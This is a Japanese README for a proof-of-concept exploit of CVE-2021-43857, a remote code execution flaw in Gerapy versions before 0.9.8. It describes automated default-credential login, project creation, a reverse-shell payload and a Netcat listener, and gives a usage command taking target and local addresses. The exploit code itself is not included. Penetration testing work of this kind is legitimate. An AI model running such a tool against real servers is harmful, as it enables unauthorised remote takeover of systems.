Gerapy CVE-2021-43857 (認証済みRCE)

このリポジトリは、CVE-2021-43857 の概念実証エクスプロイトを含んでいます。これは Gerapy < 0.9.8 に影響を与えるリモートコード実行の脆弱性です。

これは、元の Exploit-DB PoC の更新版であり、バグ修正と自動化が行われ、許可されたテスト環境での再現が容易になっています。

⚠️ 免責事項:
このコードは教育および許可されたペネトレーションテストのみを目的として公開されています。明示的な許可なしにシステムに対して使用しないでください。著者は誤用に対する責任を負いません。

特徴

• デフォルトの認証情報でログインを自動化
• 必要に応じてプロジェクトを自動的に作成
• リバースシェルペイロードを送信
• Netcatリスナーを自動的に起動

使用方法

python3 exploit.py -t <TARGET_IP> -p <TARGET_PORT> -L <LOCAL_IP> -P <LOCAL_PORT>

必要条件

1. Python 3.x
2. requests と pyfiglet (pip install requests pyfiglet)
3. Netcat (nc)